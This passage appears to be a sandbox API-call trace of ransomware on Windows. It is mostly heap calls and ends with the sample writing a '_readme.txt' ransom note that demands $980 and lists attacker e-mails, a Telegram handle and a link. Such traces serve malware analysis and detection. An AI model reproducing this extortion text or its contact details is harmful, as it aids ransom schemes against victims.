(HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.550] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.550] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.550] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.550] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.550] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.550] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.550] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.550] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.550] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.550] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.550] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.550] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.550] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.550] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.550] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.550] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.550] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.550] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.550] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.550] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.550] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.550] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.550] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.550] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.550] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.550] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.550] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.550] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.550] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.550] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.550] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.550] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.550] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.550] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.551] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.551] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.551] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.551] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.551] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.551] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.551] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.551] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.551] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.551] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.551] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.551] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.551] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.551] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.551] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.551] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.553] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.553] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.553] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.553] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.553] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.553] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.553] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.553] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.553] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.553] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.553] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.553] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.553] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.553] PathFindFileNameW (pszPath="C:\\Boot\\hu-HU\\") returned="hu-HU\\" [0124.553] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.553] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.553] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.553] PathFindFileNameW (pszPath="") returned="" [0124.553] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.554] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.554] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.554] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.554] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.554] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.554] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.554] PathAppendW (in: pszPath="C:\\Boot\\hu-HU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 1 [0124.554] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.554] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.554] PathFileExistsW (pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 0 [0124.554] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.554] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.554] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write 